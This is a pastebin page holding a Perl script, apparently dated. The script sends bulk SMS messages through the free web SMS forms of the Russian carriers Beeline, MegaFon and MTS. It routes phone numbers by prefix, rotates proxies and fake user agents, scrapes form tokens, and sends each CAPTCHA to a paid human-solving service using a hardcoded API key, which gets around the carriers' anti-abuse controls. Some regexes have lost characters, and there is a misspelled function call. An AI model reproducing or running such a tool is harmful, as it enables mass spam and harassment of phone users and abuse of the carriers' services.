Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)
Paste
Pasted as Perl by ass ( 17 years ago )
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
###############################################
my $threads = 1; #
my $fnumbers = 'numbers.txt'; #
my $fmes = 'message.txt'; #
my $fproxy = 'proxy.txt'; #
my $pmode = 0; #
my $sleep = 0; #
my $key = '23585fe7cac706524ed943e28a60b206'; #
###############################################
threads->new(&main) for 1 .. $threads;
$_->join for threads->list;
my $totl : shared = 1;
my $time = time;
my @numbers : shared = lfa($fnumbers);
my @proxy = lfa($fproxy);
sub main{
my ($ua,$cook) = ua();
if($pmode){until(proxy($ua)){}}
while(@numbers){
my $numb = shift @numbers;
my $prefix = substr($numb,3,3);
my $num = substr($numb,6);
if($prefix == 910 || $prefix == 915 || $prefix == 916 || $prefix == 917 || $prefix == 919 || $prefix == 985 || $prefix == 812 || $prefix == 861 || $prefix == 911 || $prefix == 912 || $prefix == 913 || $prefix == 914 || $prefix == 918 || $prefix == 980 || $prefix == 981 || $prefix == 982 || $prefix == 983 || $prefix == 987 || $prefix == 988){
mts($ua,$cook,$prefix,$num);}
elsif($prefix == 903 || $prefix == 905 || $prefix == 906 || $prefix == 909 || $prefix == 960 || $prefix == 961 || $prefix == 962 || $prefix == 963 || $prefix == 964 || $prefix == 965){
beeline($ua,$cook,$prefix,$num);}
elsif($prefix == 926 || $prefix == 925){
megafon($ua,$cook,$prefix,$num);}
}}
sub beeline{
my ($ua,$cook,$prefix,$num) = @_;
$cook->clear();
my $text = lfr($fmes);
$ua->get("http://www.beeline.ru/sms/index.wbp")->as_string;
my $dig = captcha("http://www.beeline.ru/mamimg.aspx");
my $answ = $ua->post("http://www.beeline.ru/sms/index.wbp",{
"send" => "",
"smstext" => $text,
"smstoprefix" => $prefix,
"smsto" => $num,
"dirtysmstext" => $text,
"confirm_key" => "",
"confirmcode" => $dig,
"x" => "44",
"y" => "3"})->as_string;
wf("beeeliiiinee",$answ);
if($answ =~ /302/){lo("[ + ] Sent: $prefix$num
"); ++$totl;}else{lo("[ - ] Failed: $prefix$num
");}
}
sub megafon{
my ($ua,$cook,$prefix,$num) = @_;
$cook->clear();
my $text = lfr($fmes);
my $answ = $ua->get("http://sms.megafonmoscow.ru")->content;
$answ =~ /"codekey" value="(d*)"/; my $ck = $1;
$answ =~ /"charcheck" value="(.*?)"/; my $qwe = $1;
$answ =~ /"lang" value="(.*?)"/; my $lang = $1;
$answ =~ /image.phtml?k=(d*)"/; my $sid = $1;
my $dig = captcha("http://sms.megafonmoscow.ru/image.phtml?k=$sid");
my $tim = localtime(time);
$tim =~ /(.+) (.+) (d+) (d+):(d+):(d+) (d+)/;
my $day = $3; my $hour = $4; my $minute = $5; my $year = $7;
my $resp = $ua->post("http://sms.megafonmoscow.ru/sms.action",
Content_Type => 'form-data',
Content => [ "codekey" => $ck,
"charcheck" => $qwe,
"lang" => $lang,
"codevalue" => $dig,
"prefix" => $prefix,
"addr" => $num,
"message" => $text,
"messlen" => lenght($text),
"go" => "Îòïðà âèòü ñåé÷à ñ",
"send_day" => $day,
"send_month" => "7",
"send_hour" => $hour,
"send_minute" => $minute,
"send_year" => $year])->as_string;
if($resp =~ /302/){lo("[ + ] Sent: $prefix$num
"); ++$totl;}else{lo("[ - ] Failed: $prefix$num
");}
}
sub mts{
my ($d,$m,$y) = undef;
($d,$m,$y) = localtime(time);
my ($ua,$cook,$prefix,$num) = @_;
$cook->clear();
my $text = lfr($fmes);
my $data = $ua->get('http://sms.mts.ru/live/smsxtra.aspx?region=msk')->as_string;
$data =~ /LBD_VCT_live_smsxtra_ctl00_ctl00_ctl00_smssendcontrol_captcha" value="(.*?)"/; my $vct = $1;
$data =~ /QACaptcha.aspx?(.*?)'/; my $cu = $1;
$data =~ /id="__VIEWSTATE" value="(.*?)"/; my $vs = $1;
$data =~ /id="__EVENTVALIDATION" value="(.*?)"/; my $va = $1;
my $cap = captcha("http://sms.mts.ru/live/QACaptcha.aspx?$cu");
my $res = $ua->post('http://sms.mts.ru/live/smsxtra.aspx?region=msk',{
'__EVENTTARGET' => '',
'__EVENTARGUMENT' => '',
'__LASTFOCUS' => '',
'__LBD_VCT_live_smsxtra_ctl00_ctl00_ctl00_smssendcontrol_captcha' => $vct,
'__LBD_SGC_live_smsxtra_ctl00_ctl00_ctl00_smssendcontrol_captcha' => 0,
'__VIEWSTATE' => $vs,
'ctl00$ctl00$ctl00$SMSSendControl$ddPrefix' => $prefix,
'ctl00$ctl00$ctl00$SMSSendControl$txtMsisdn' => $num,
'ctl00$ctl00$ctl00$SMSSendControl$tbMessage' => $text,
'ctl00$ctl00$ctl00$SMSSendControl$tbLen' => 6,
'ctl00$ctl00$ctl00$SMSSendControl$lblMax' => 135,
'ctl00$ctl00$ctl00$SMSSendControl$dpDate' => ($y+1900).sprintf('%02s',($m+1)).sprintf('%02s',$d),
'ctl00$ctl00$ctl00$SMSSendControl$dpDate_string' => sprintf('%02s',($m+1))."/".sprintf('%02s',$d)."/".($y+1900),
'ctl00$ctl00$ctl00$SMSSendControl$tbCode' => $cap,
'ctl00$ctl00$ctl00$SMSSendControl$btnSend.x' => 125,
'ctl00$ctl00$ctl00$SMSSendControl$btnSend.y' => 8,
'__EVENTVALIDATION' => $va})->as_string;
if($res =~ /còà òóñ ñîîáùåíèÿ/){
lo("[ + ] Sent: $prefix$num
"); ++$totl;}else{lo("[ - ] Failed: $prefix$num
");}
}
sub ua{
my $ua = LWP::UserAgent->new;
my $cook = HTTP::Cookies->new;
$ua->cookie_jar($cook);
$ua->agent(agent());
$ua->timeout(60);
return ($ua,$cook);
}
sub proxy{
my($ua) = @_;
my ($ip, $port) = split ':' => $proxy[rand scalar @proxy];
$ua->proxy('http' => "http://$ip:$port");
my $test = $ua->get('http://www.myip.ru/get_ip.php')->content;
if($test =~ m,>$ip<,i) {print "[ + ] $ip:$port
"; return 1;}
else { print "[ - ] $ip:$port
"; return 0;}
}
sub agent{
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub lfa{
open my $dat,'<',$_[0] or die "
Could not open ".($_[0])." file!
";
flock $dat, LOCK_EX;
chomp (my @data = <$dat>);
flock $dat, LOCK_UN;
close $dat;
my %saw;
my @out = grep(!$saw{$_}++, @data);
return @out;
}
sub lfr{
open my $dat,'<',$_[0] or die "
Could not open ".($_[0])." file!
";
flock $dat, LOCK_EX;
chomp (my @data = <$dat>);
flock $dat, LOCK_UN;
close $dat;
return $data[rand scalar @data];
}
sub wf{
open my $dat,'>>',$_[0] or die "
Could not open ".($_[0])." file!
";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
sub captcha {
my $ua = new LWP::UserAgent;
my $seed = int(rand(1000));
my $cid = $seed."captcha".$seed.".jpg";
my $capt = $ua->get($_[0])->content;
open(F,">./tmp/$cid"); binmode F; print F $capt; close(F);
my $cap = grendayzer($cid);
return $cap;
}
sub grendayzer {
my($img) = @_;
my $ua = new LWP::UserAgent;
lo("Recognizing captcha...
");
my $digits = '';
M:
my $response = $ua->post( "http://ac-service.info/in.php",
Content_Type => 'form-data',
Content => [ file => ["./tmp/$img", "$img", "Content-Type" => "application/octet-stream"],
method => "post",
key => $key ])->as_string;
if($response =~ /OK|(d+)/) {
my $kkey = $1;
do {
print "Waiting chinese response...($kkey)
";
$digits = $ua->get("http://ac-service.info/res.php?key=$key&action=get&id=$kkey")->as_string; sleep(5);
}
while($digits =~ /CAPCHA_NOT_READY/);
$digits =~ /OK|(.*)/; $digits = $1;
}
elsif ($response =~ /ERROR_NO_SLOT_AVAILABLE/) {sleep(1); print "Waiting for slot...
"; goto M;}
elsif ($response =~ /ERROR_KEY/) {print "Your anti-captcha key is invalid, please check or remove it
"; exit(0);}
else { $response =~ /
(.*)/s; print "Something wrong with ac: $1
";}
unlink "./tmp/$img";
return $digits;
}
sub lo{
print @_;
print "[Sent: $totl (Time elapsed ".(time-$time).")]
";
open (L,">>log.txt");
flock(L, LOCK_EX);
print L @_;
print L "[Sent: $totl (Time elapsed ".(time-$time).")]";
flock(L, LOCK_UN);
close L;
}
Revise this Paste